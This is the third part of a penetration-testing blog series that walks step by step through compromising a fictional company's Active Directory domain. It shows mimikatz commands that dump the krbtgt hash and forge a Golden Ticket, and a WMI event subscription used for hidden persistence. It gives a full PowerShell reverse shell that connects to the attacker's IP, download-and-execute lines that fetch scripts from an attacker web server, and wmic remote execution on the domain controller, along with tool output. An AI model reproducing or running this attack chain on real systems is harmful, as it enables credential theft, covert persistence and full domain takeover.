Extra miles
Targeting Domain Controller (SRVDC1) and looking for the Golden Ticket
(For the first two parts of the series, From APK to Golden Ticket, see here and here)
Before leaving, we decided to get the hashes of the Domain Controller, especially those regarding the Kerberos account (krbtgt) for creating a Golden Ticket.

What should you learn next?
The "Golden Ticket" attack [1] allows us to create offline Kerberos Ticket Granting Tickets (TGT) so to have unauthorized access and to impersonate any domain user. Also, it is valid for ten years, or as long as it is created, and more important it will work even if the DA credentials are changed. An excellent example of persistence, isn't it?
For this task we needed:
- krbtgt hashes
- Domain SID
- Username (Administrator)
- Domain name (SUPERCOMPANY)
In a similar fashion, as we did so far, we got a new remote PowerShell on the Domain Controller with Local System privileges (port forwarding on SRVWSUS, improved SMBExec, etc.)
We executed our obfuscated version of mimikatz to get the hashes of the AD directory users database and saved them in file hash.txt:
invoke-mymy -command 'privilege::debug "LSADump::LSA /inject"' > hash.txt
The mimikatz script was without the auto-invoke command at the end of the file. We exfiltrated the hash file to our web server. This was its content:
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 3003567af268a4aXXXXXXXXXXXXXXXXX
Using get-addomain cmdlet, which is automatically imported on Domain Controllers, we got the domain SID:
PS C:test> get-addomain
AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=supercompany,DC=local
DeletedObjectsContainer : CN=Deleted Objects,DC=supercompany,DC=local
DistinguishedName : DC=supercompany,DC=local
DNSRoot : supercompany.local
DomainControllersContainer : OU=Domain
Controllers,DC=supercompany,DC=local
DomainMode : Windows2012R2Domain
DomainSID : S-1-5-21-3534665177-2148510708-2241433719
…
Note: we could get the Domain SID from the Administrator's (whose uid=500) obtained by mimikatz:
S-1-5-21-3534665177-2148510708-2241433719-500
Time to create our golden ticket:
invoke-mymy -command '"privilege::debug" "Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb"'
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # privilege::debug
Privilege '20' OK
mimikatz(powershell) # Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb
User : Administrator
Domain : supercompany.LOCAL (SUPERCOMPANY)
SID : S-1-5-21-3534665177-2148510708-2241433719
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 3003567af268a4a94e26f410e84353f1 - rc4_hmac_nt
Lifetime : 2/17/2017 4:02:10 PM ; 2/17/2027 4:02:10 PM ; 3/3/2027 4:02:10 PM
-> Ticket : admin.krb
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
After that, we exfiltrated the admin.krb file for later uses…
Persistence
Before leaving the system, we have to set up persistence to access the exposed server (SRVWSUS) at a later time(s). Being stealthy is not an easy task here, there are some obvious entry points which even a novice sysadmin would discover.
We chose a more sophisticated technique based on some peculiar characteristics of WMI, taking advantage of the InstanceModificationEvent.
Any time an instance of a WMI object changes its registers, it changes as an InstanceModificationEvent. In this case, we filtered the event systemuptime so that if the time were between 200 and 300 seconds (system startup), we would feed the event eventconsumer with a commandlineeventconsumer.
So from our remote PowerShell on server SRVWSUS we sent:
$filterName = "JustForTestFilter"
$consumerName = "JustForTestConsumer"
$exePath = "C:windowshelpwindowsindexstorer.bat"
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
The content of r.bat, saved in a "hidden" Windows directory:
powershell -executionpolicy bypass -windowstyle hidden -f C:windowshelpwindowsindexstorer.ps1
While, r.ps1:
$c=New-Object System.Net.Sockets.TCPClient('<OUR_PUBLIC_IP>',443);
$s=$c.GetStream();[byte[]]$b=0..65535|%{0};
while(($i=$s.Read($b,0,$b.Length))-ne 0){;
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb=(IEX $data 2>&1 | Out-String );
$sb2=$sb+'PS '+(pwd).Path + '> ';
$sb=([text.encoding]::ASCII).GetBytes($sb2);
$s.Write($sb,0,$sb.Length);
$s.Flush()};
$c.Close()"
This would guarantee the execution of our remote shell with local SYSTEM privileges via SRVWSUS upon reboot.
And finally, we tested our "Golden Ticket," remember the "admin.krb file"?
Again, from the SRVWSUS shell with local system privileges we downloaded from our webserver admin.krb, configured port forwarding and uploaded the script r3.ps1 with the connect back instructions to SRVWSUS on port 9000.
Now we had to load the ticket in our session:
PS C:tmp>Invoke-mymy -command '"kerberos::ptt admin.krb"'
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # kerberos::ptt admin.krb
* File: 'admin.krb': OK
Using klist it is possible to list our loaded Kerberos tokens:
PS C:tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ supercompany.LOCAL
Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 2/17/2017 1:02:10 (local)
End Time: 2/17/2027 1:02:10 (local)
Renew Time: 2/18/2027 1:02:10 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
OK it worked, the ticket was successfully loaded!
For the next operations, we used the Windows wmic.exe [2] utility, a command-line interface to WMI which permits Kerberos authentication for accessing remote systems.
We copied r3.ps1 on Domain Controller without problems, just loading the administrator's ticket in our session!
PS C:tmp>copy c:tmpr3.ps1 SRVDC1C$windowstempr3.ps1"
And executed it:
PS C:tmp> wmic /authority:"kerberos:SUPERCOMPANYSRVDC1" /node:SRVDC1 process call create "powershell -executionpolicy bypass -windowstyle hidden -f c:windowstempr3.ps1"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 4528;
ReturnValue = 0;
};
We crossed our fingers and after a while, on our computer, the magic shell from SRVDC1:
PS C:Windowssystem32> whoami
supercompanyadministrator
Moreover, this would work even if the Administrator's password changes!
Just two words about the potential dangers of the "Golden Ticket":
- It is very difficult to detect "forged" Kerberos tickets (https://adsecurity.org/?p=1515)
- In case of evidence, the only way is to reset twice the krbtg password which could have a severe impact on the AD infrastructure
Last but not least!
Remember how we obtained the first PowerShell remote shell on SRVWSUS?
We launched a remote command from Intranet server, pivoting this connection through Meterpreter on the Android smartphone. What if we lose our PowerShell remote shell and at the same time our victim is no longer connected? Game over…
We need to add persistence to our remote shell from SRVWSUS!!
How? By modifying the procedure for gaining access to SRVWSUS from our webshell in Tomcat:
# 1st smbexec command:
IEX (New-Object Net.WebClient).DownloadFile(`'http://<OUR_PUBLIC_IP>/r1.ps1`',
`'c:tmpr1.ps1`')
# 2nd smbexec command:
IEX (New-Object Net.WebClient).DownloadFile(`'http://<OUR_PUBLIC_IP>/r1.bat`',
`'c:tmpr1.bat`')
# 3rd smbexec command:
'cmd /c c:tmpr1.bat'
What does r1.bat contain?
@echo off
:loop
powershell -executionpolicy bypass -windowstyle hidden -f c:tmpr.ps1
timeout /t 10
goto loop
Ugly uh? But it works, waits for 10 seconds and restarts the call back in case of lost connection ;-)
And yes, of course, we could have encoded and compressed all our .ps1 scripts but we just wanted to show you how it works!
Conclusions
That's all folks! We didn't invent anything new, however by using only Windows built-in functionalities and some scripting we were able to achieve something bigger. Sometimes there's no need to use magic tools, just K.I.S.S.
And always "Try Smarter!"
PS: would you like to practice a similar solution? Let us know and we will setup an exclusive virtual environment only for you!
______
[1] https://adsecurity.org/?p=1588

FREE role-guided training plans